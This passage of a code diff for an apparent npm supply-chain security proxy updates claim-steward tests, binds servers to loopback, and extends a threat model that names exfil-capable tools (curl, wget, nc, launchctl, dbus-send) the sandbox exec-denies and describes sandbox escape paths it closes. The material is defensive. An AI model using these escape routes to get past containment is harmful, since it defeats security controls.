claimant.publicKey }); + after.renew("pkg", c3.id); + assert.equal(after.release("renewed").corpus.claims[0]?.challenge.id, c3.id); + // Once the file has been rewritten by the new code the flag is set, so a restart does not re-spend C3's successors. + const restarted = new ClaimSteward({ ...c.options, stateFile, lookupUpstream: absent }); + c.state.now += DAY; + const c4 = await verified(restarted, { namespace: "pkg", domain: "old.example", claimantPublicKey: claimant.publicKey }); + restarted.renew("pkg", c4.id); + }); +}); + +describe("steward bind address", () => { + const CLI = join(dirname(fileURLToPath(import.meta.url)), "..", "dist", "index.js"); + + async function boot(extra: Record): Promise<{ log: string; port?: number; kill: () => void; code: Promise }> { + const dir = mkdtempSync(join(tmpdir(), "sentinel-steward-bind-")); + const keys = generateKeypair(); + writeFileSync(join(dir, "key.pem"), keys.privateKey); + mkdirSync(join(dir, "release")); + const child = spawn(process.execPath, [CLI], { env: { PATH: process.env.PATH ?? "", SENTINEL_STEWARD_TOKEN: "t", + SENTINEL_STEWARD_STATE: join(dir, "state.json"), SENTINEL_CLAIM_CORPUS_PRIVATE_KEY: join(dir, "key.pem"), + SENTINEL_CLAIM_CORPUS_RELEASE_DIR: join(dir, "release"), SENTINEL_STEWARD_PORT: "0", ...extra } }); + let log = ""; + const code = new Promise((resolve) => child.once("exit", resolve)); + await new Promise((resolve) => { + const onData = (b: Buffer) => { log += b.toString(); if (/listening|FATAL/.test(log)) resolve(); }; + child.stdout.on("data", onData); child.stderr.on("data", onData); void code.then(() => resolve()); + }); + const port = /:(\d+)\s*$/m.exec(log)?.[1]; + return { log, ...(port ? { port: Number(port) } : {}), kill: () => child.kill("SIGKILL"), code }; + } + + const reachable = (host: string, port: number) => new Promise((resolve) => { + const socket = connect({ host, port, timeout: 1000 }); + socket.once("connect", () => { socket.destroy(); resolve(true); }); + socket.once("error", () => resolve(false)); + socket.once("timeout", () => { socket.destroy(); resolve(false); }); + }); + + test("defaults to loopback only", async () => { + const s = await boot({}); + try { + assert.match(s.log, /http:\/\/127\.0\.0\.1:\d+/); + assert.ok(s.port, "log carries the bound port"); + assert.equal(await reachable("127.0.0.1", s.port!), true); + const external = Object.values(networkInterfaces()).flat().find((i) => i && i.family === "IPv4" && !i.internal); + if (external) assert.equal(await reachable(external.address, s.port!), false, "must not accept connections on a non-loopback address"); + } finally { s.kill(); } + }); + + test("SENTINEL_STEWARD_HOST overrides and an empty value is FATAL", async () => { + const wide = await boot({ SENTINEL_STEWARD_HOST: "0.0.0.0" }); + try { assert.match(wide.log, /http:\/\/0\.0\.0\.0:\d+/); } finally { wide.kill(); } + const bad = await boot({ SENTINEL_STEWARD_HOST: "" }); + assert.match(bad.log, /FATAL.*SENTINEL_STEWARD_HOST/); + assert.equal(await bad.code, 1); + }); +}); diff --git a/packages/steward/test/steward.test.ts b/packages/steward/test/steward.test.ts index 2fe55ee..78ce8ab 100644 --- a/packages/steward/test/steward.test.ts +++ b/packages/steward/test/steward.test.ts @@ -28,9 +28,9 @@ describe("claim steward pipeline", () => { let queried = ""; assert.equal(await steward.verifyChallenge(application.id, async (domain) => { queried = domain; return [["wrong-value"]]; }), false); assert.equal(queried, "acme.example"); - assert.throws(() => steward.approve(application.id), /passed challenge/i); + await assert.rejects(async () => steward.approve(application.id), /passed challenge/i); assert.equal(await steward.verifyChallenge(application.id, async () => [[application.txtValue]]), true); - steward.approve(application.id); + await steward.approve(application.id); assert.deepEqual(steward.release("r1").corpus.claims.map((claim) => claim.namespace), ["@acme/*"]); now += 366 * 24 * 60 * 60 * 1000; @@ -48,7 +48,7 @@ describe("claim steward pipeline", () => { lookupUpstream: async () => ({ kind: "active", packument: { name: "tanstack", repository: "https://github.com/squatter/tanstack" } }) }); const app = await steward.issueChallenge({ namespace: "tanstack", domain: "tanstack.com", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(app.id, async () => [[app.txtValue]]); - steward.approve(app.id, { evidenceRef: "case/PEP541-grade-42" }); + await steward.approve(app.id, { evidenceRef: "case/PEP541-grade-42" }); const announced = steward.release("announce").corpus; assert.equal(announced.claims.length, 0); assert.equal(announced.pendingClaims?.[0]?.namespace, "tanstack"); @@ -67,12 +67,12 @@ describe("claim steward pipeline", () => { const steward = new ClaimSteward({ now: () => now, id: () => `id-${++next}`, lookupUpstream: absent }); const original = await steward.issueChallenge({ namespace: "pkg", domain: "old.example", claimantPublicKey: oldClaimant.publicKey }); await steward.verifyChallenge(original.id, async () => [[original.txtValue]]); - steward.approve(original.id); + await steward.approve(original.id); const target = await steward.issueChallenge({ namespace: "pkg", domain: "new.example", claimantPublicKey: newClaimant.publicKey }); await steward.verifyChallenge(target.id, async () => [[target.txtValue]]); assert.throws(() => steward.requestTransfer("pkg", target.id, "invalid"), /valid old claimant signature/); const signature = signTransferRequest({ namespace: "pkg", targetDomain: "new.example", targetChallengeId: target.id, - targetClaimantPublicKey: newClaimant.publicKey }, oldClaimant.privateKey); + targetClaimantPublicKey: newClaimant.publicKey, currentChallengeId: original.id }, oldClaimant.privateKey); steward.requestTransfer("pkg", target.id, signature); assert.equal(steward.release("pending").corpus.claims[0]?.domain, "old.example"); @@ -87,7 +87,7 @@ describe("claim steward pipeline", () => { const steward = new ClaimSteward({ now: () => now, id: () => `dispute-${++next}`, lookupUpstream: absent }); const original = await steward.issueChallenge({ namespace: "contested", domain: "old.example", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(original.id, async () => [[original.txtValue]]); - steward.approve(original.id); + await steward.approve(original.id); const challenger = await steward.issueChallenge({ namespace: "contested", domain: "new.example", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(challenger.id, async () => [[challenger.txtValue]]); const unrelated = await steward.issueChallenge({ namespace: "other-name", domain: "new.example", claimantPublicKey: claimant.publicKey }); @@ -109,7 +109,7 @@ describe("claim steward pipeline", () => { const steward = new ClaimSteward({ now: () => Date.parse("2026-07-01T00:00:00.000Z"), id: () => "free", lookupUpstream: absent }); const app = await steward.issueChallenge({ namespace: "free-name", domain: "free.example", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(app.id, async () => [[app.txtValue]]); - steward.approve(app.id); + await steward.approve(app.id); const release = steward.release("signed-1", privateKey); assert.ok(release.signature); assert.equal(verifyClaimCorpusBytes(release.raw, release.signature!, publicKey), true); @@ -122,7 +122,7 @@ describe("claim steward pipeline", () => { const first = new ClaimSteward({ now: () => Date.parse("2026-07-13T12:00:00.000Z"), id: () => "claimed", stateFile, lookupUpstream: absent }); const challenge = await first.issueChallenge({ namespace: "@acme/*", domain: "acme.example", claimantPublicKey: claimant.publicKey }); await first.verifyChallenge(challenge.id, async () => [[challenge.txtValue]]); - first.approve(challenge.id); + await first.approve(challenge.id); first.recordRetraction({ kind: "retraction", id: "SENTINEL-RETRACT-steward", name: "@acme/widget", version: "2.0.0", integrity: "sha512-YWJj", reason: "security", retractedAt: "2026-07-13T11:00:00.000Z", severity: "high", @@ -155,7 +155,7 @@ describe("claim steward pipeline", () => { const first = new ClaimSteward({ now: () => Date.parse("2026-07-01T00:00:00.000Z"), id: () => "durable", stateFile, lookupUpstream: absent }); const app = await first.issueChallenge({ namespace: "durable-name", domain: "durable.example", claimantPublicKey: claimant.publicKey }); await first.verifyChallenge(app.id, async () => [[app.txtValue]]); - first.approve(app.id); + await first.approve(app.id); const restarted = new ClaimSteward({ now: () => Date.parse("2026-07-02T00:00:00.000Z"), stateFile, lookupUpstream: absent }); assert.equal(restarted.release("after-restart").corpus.claims[0]?.namespace, "durable-name"); @@ -163,16 +163,21 @@ describe("claim steward pipeline", () => { }); test("renewal requires a passed challenge for the same namespace as well as the same domain", async () => { - const steward = new ClaimSteward({ now: () => Date.parse("2026-07-01T00:00:00.000Z"), lookupUpstream: absent }); + let now = Date.parse("2026-07-01T00:00:00.000Z"); + const steward = new ClaimSteward({ now: () => now, lookupUpstream: absent }); const first = await steward.issueChallenge({ namespace: "first-name", domain: "shared.example", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(first.id, async () => [[first.txtValue]]); - steward.approve(first.id); + await steward.approve(first.id); const second = await steward.issueChallenge({ namespace: "second-name", domain: "shared.example", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(second.id, async () => [[second.txtValue]]); - steward.approve(second.id); + await steward.approve(second.id); assert.throws(() => steward.renew("second-name", first.id), /namespace mismatch/); - steward.renew("second-name", second.id); + // The challenge that created the claim is not a renewal; a fresh one is (pinned by security-steward.test.ts). + now += 24 * 60 * 60 * 1000; + const renewal = await steward.issueChallenge({ namespace: "second-name", domain: "shared.example", claimantPublicKey: claimant.publicKey }); + await steward.verifyChallenge(renewal.id, async () => [[renewal.txtValue]]); + steward.renew("second-name", renewal.id); assert.equal(steward.release("renewed").corpus.claims.find((claim) => claim.namespace === "second-name")?.status, "active"); }); @@ -180,7 +185,7 @@ describe("claim steward pipeline", () => { const longDead = new ClaimSteward({ lookupUpstream: async () => ({ kind: "long-dead-placeholder", packument: { name: "retired", deprecated: "retired" } }) }); const app = await longDead.issueChallenge({ namespace: "retired", domain: "retired.example", claimantPublicKey: claimant.publicKey }); await longDead.verifyChallenge(app.id, async () => [[app.txtValue]]); - longDead.approve(app.id); + await longDead.approve(app.id); assert.equal(longDead.release("long-dead").corpus.claims[0]?.namespace, "retired"); }); @@ -188,7 +193,7 @@ describe("claim steward pipeline", () => { const steward = new ClaimSteward({ lookupUpstream: absent }); const app = await steward.issueChallenge({ namespace: "renamed", domain: "old.example", claimantPublicKey: claimant.publicKey }); await steward.verifyChallenge(app.id, async () => [[app.txtValue]]); - steward.approve(app.id); + await steward.approve(app.id); steward.freezeForDomainChange("renamed", "monitor/domain-change-7"); assert.equal(steward.release("frozen").corpus.claims[0]?.status, "frozen"); }); diff --git a/scripts/release-smoke.ts b/scripts/release-smoke.ts index 0dd0537..efc9098 100644 --- a/scripts/release-smoke.ts +++ b/scripts/release-smoke.ts @@ -209,7 +209,7 @@ check("sentinel-steward fail-closed on missing config", () => { const proxyPort = 40000 + Math.floor(Math.random() * 20000); await checkAsync("sentinel-proxy boots, serves dashboard, exits cleanly", async () => { return withServer(bin("sentinel-proxy"), [], { ...process.env, SENTINEL_PORT: String(proxyPort) }, proj, /listening on/, 20000, async () => { - const res = await fetch(`http://localhost:${proxyPort}/`); + const res = await fetch(`http://127.0.0.1:${proxyPort}/`); if (res.status !== 200) throw new Error(`GET / → ${res.status}`); const body = await res.text(); if (!/sentinel/i.test(body)) throw new Error("dashboard body missing 'sentinel'"); diff --git a/sentinel-threat-model.md b/sentinel-threat-model.md index 23e523a..a422dca 100644 --- a/sentinel-threat-model.md +++ b/sentinel-threat-model.md @@ -229,7 +229,15 @@ cap returning 413 instead of silently truncating audits of the same coordinate share one pipeline; and an opt-in token-bucket rate limiter (429 + `Retry-After`) on the expensive endpoints, keyed by socket address, never `X-Forwarded-For`. Install-gate paths are never -rate-limited (ADR-0037). +rate-limited (ADR-0037). ADR-0056 adds: compatibility-route bodies are capped at +8 MiB (was 128 MiB) and sit behind the same rate gate; the in-memory `AuditStore` +keeps at most 20,000 entries and evicts the oldest; nested compression +(gzip(gzip(tar)), raw zstd) is refused as `resource-abuse` instead of +decompressing past the unpack cap; policy globs match in linear time; and rules +bound or linearize their regexes, so a hostile file cannot stall the sync gate. +The proxy and steward bind `127.0.0.1` unless `SENTINEL_HOST` / +`SENTINEL_STEWARD_HOST` is set, so a default start is not reachable from the +network. ### 3.8 An agent holding a control-plane token @@ -250,7 +258,9 @@ bypass (ADR-0023). A script whose static audit passed (or was approved) attempts credential reads, persistence writes, or exfiltration at install time. Writes are deny-by-default: a blanket deny plus a fixed, non-operator-configurable write -floor (cwd, temp dirs, `/dev`, node build caches); approved `filesystem:` +floor (cwd, temp dirs, `/dev`, `~/.npm/_logs`); the node-gyp header caches are +read-only, and with a `network` approval `npm_config_devdir` points at a per-run +directory outside every write floor (ADR-0056); approved `filesystem:` Grants are directional — a Grant covers exactly its own subtree, never an ancestor — and pathological Grant targets (`*`, `/`, `..` segments) are fail-closed rejected (ADR-0038). `$HOME` reads are deny-by-default behind a @@ -265,6 +275,26 @@ allowlist, so an escaped-detection script still does not see runtime violation revokes any standing approval and quarantines the integrity at serve time (ADR-0023). +ADR-0056 closes several escape paths. The Seatbelt profile is passed inline +(`sandbox-exec -p`), so no profile file sits in the writable temp dir for a +lingering process to rewrite. bwrap adds `--unshare-pid --new-session` and masks local IPC whether or not network is approved, because +`--unshare-net` does not cover pathname unix sockets: the session bus, the +docker, containerd, podman and crio sockets, the system dbus socket, and +`/tmp/.X11-unix` and `/tmp/ssh-*` when present. `launchctl`, `open`, +`shortcuts`, `automator`, `systemd-run`, `busctl`, `dbus-send` and `gdbus` +join the exec carve-out, since each hands work to a process outside the sandbox. +A project root of `/` no longer widens read or exec rules, relative paths are +resolved first, `npm_config_*` values with URL credentials are scrubbed, and +violation text loses control characters before it is reported or printed. + +Enforced installs no longer trust package-declared identity. A dependency +script runs only when `npm_package_integrity` matches the audited integrity +and npm is 7 or newer (npm 6 lets package.json set that variable), so a git, URL or file dependency cannot borrow another package's approvals by +declaring its name and version. Root detection uses `SENTINEL_ROOT`, which +`sentinel install --enforce` sets to the realpath of the install cwd and which +fails closed when missing; `INIT_CWD` is not trusted because a nested npm (a git +dependency's `prepare`) resets it. + **Enforcement scope — process execution: macOS enforces the floor + carve-out; Linux enforces the floor where Landlock + the from-source helper are available (advisory otherwise), plus the carve-out always.** The `process` and `native` @@ -320,7 +350,8 @@ Stated plainly. Each is a deliberate, recorded trade-off, not an oversight. kernel-denied (ADR-0042), with a recorded residual: a package may exec a binary written into its own project tree (floor decision) — the same residual now applies on a Landlock-enforced Linux host. On Linux (Phase 29, - ADR-0043) the exfil-capable tools (curl, wget, nc, …) are individually + ADR-0043) the exfil-capable tools (curl, wget, nc, and the launchd and D-Bus + helpers added by ADR-0056, …) are individually exec-denied via `/dev/null` masking regardless of floor availability; Phase 2 (Landlock, ADR-0044) additionally kernel-denies a dropped binary outside the floor on hosts where Landlock + a compiled `cc` toolchain are available @@ -334,6 +365,33 @@ Stated plainly. Each is a deliberate, recorded trade-off, not an oversight. cross-platform floor now exists; see §3.9; [issue #8](https://github.com/git-agentic/pkg-registry/issues/8) is closed with the availability caveat documented above. +- **Exec carve-outs match paths, not services (ADR-0056).** The carve-out denies + `launchctl`, `open`, `shortcuts`, `automator`, `systemd-run`, `busctl`, + `dbus-send` and `gdbus` by path. The Seatbelt profile does not deny + LaunchServices mach lookups, so a process that reaches those services without + one of the listed binaries is not stopped by the carve-out. macOS itself kills + a copied `launchctl`. +- **A sandboxed process can outlive its script on macOS (ADR-0056).** There is + no process-group kill. Containment still holds while it runs, but it is no + longer tied to the install's lifetime. On Linux the pid namespace ends with the command, so its orphans die with it; + but if Sentinel itself is killed mid-run, the sandboxed command runs to + completion, still contained (bwrap is not given `--die-with-parent`, as before + ADR-0056). +- **Enforced installs reject sha1-only packages (ADR-0056).** The integrity + binding compares per algorithm. A package npm records only as sha1 cannot run + an enforced script, and npm older than 7, which does not set + `npm_package_integrity`, fails closed. +- **A policy identity requirement on `builder` alone is weak (ADR-0056).** + `builder` is a signer-written predicate claim. A signed policy + `provenanceIdentities` entry that constrains only `builder` can be met by a + signer-written value. Constrain `repository` or `workflowRef`, which are + certificate-bound, as well. +- **Registry-signature key expiry is not checked (ADR-0056).** It would need the + publish time, and the wall clock never enters scoring. Signatures whose keyids + match no trusted key count as `unsigned`, not `unknown`. +- **Patch overlays are not audited (ADR-0056).** Yarn berry `patch:` entries are + skipped in `audit-tree`; the patched registry base is audited, the patch is + not. - **A swallowed denial evades telemetry, not containment.** The runtime violation sensor only sees denials that surface as process failure. A script that catches the sandbox's denial and exits 0 is invisible to @@ -361,8 +419,8 @@ Stated plainly. Each is a deliberate, recorded trade-off, not an oversight. `unknown`), not a crash or a block (ADR-0022/0037); note the deliberate counterweight: a *present* bundle that fails verification is `invalid` and gates fail-closed (ADR-0022). -- **Control-plane reads are open by design.** Auth gates only the six - mutating routes; every read — audits, manifests, history, metrics, +- **Control-plane reads are open by design.** Auth gates only the + mutating routes (approvals, violations, retraction, import, publish); every read — audits, manifests, history, metrics, audit-tree — is unauthenticated in every mode, preserving the transparent-proxy posture. An org that considers its audit history sensitive must control network access to the proxy itself (ADR-0025/0028). @@ -418,7 +476,11 @@ if the payload also scores clean, which is the same heuristics-are-signal residual as §4, not a new one. The implemented Phase 32 retraction window (ADR-0047) gives the legitimate owner an operator-side recovery path that does not require re-taking the compromised credential — retraction is an instance-side -act, deliberately unlike Go's publish-a-new-version model. Residuals: a +act, deliberately unlike Go's publish-a-new-version model. Trusted-publisher matching binds to what the Fulcio certificate +attests: the source repository and ref come from the certificate extensions, not +from the signer-written SLSA predicate, and an enrollment authorizes only when +it constrains `repository` or `workflowRef` and those match; a builder match +alone never authorizes (ADR-0056). Residuals: a clean-scoring backdoor published with valid credentials (unchanged from §4), and provenance that *validly* attests a compromised CI run — the TanStack May-2026 pattern; the design treats OIDC as publish-auth precisely because it @@ -458,8 +520,12 @@ challenge trivially, so **domain control alone never grants a contested name**. The design's control is the three-tier grandfathering rule, derived from an authoritative upstream lookup owned by the steward rather than applicant input (ADR-0046): Tier-1 auto-grant requires the *upstream package's -own metadata* to corroborate the claimant's domain — a pure function the -attacker cannot satisfy without already controlling the upstream package; Tier-2 (an active +own metadata* (a homepage or repository host at or under the claimed domain) to +corroborate the claimant's domain — a pure function the attacker cannot satisfy +without already controlling the upstream package. A same-named GitHub or GitLab +organization no longer counts as evidence, since anyone can register one +(ADR-0056); such claims fall to Tier 2. Challenges expire 30 days after issue and +approval recomputes the tier from a fresh upstream lookup; Tier-2 (an active unlinked upstream publisher — the squatting-dispute tier) is refused by default and requires PEP-541-grade evidence plus the 30-day timelocked entry; brand-dispute adjudication is categorically refused, closing the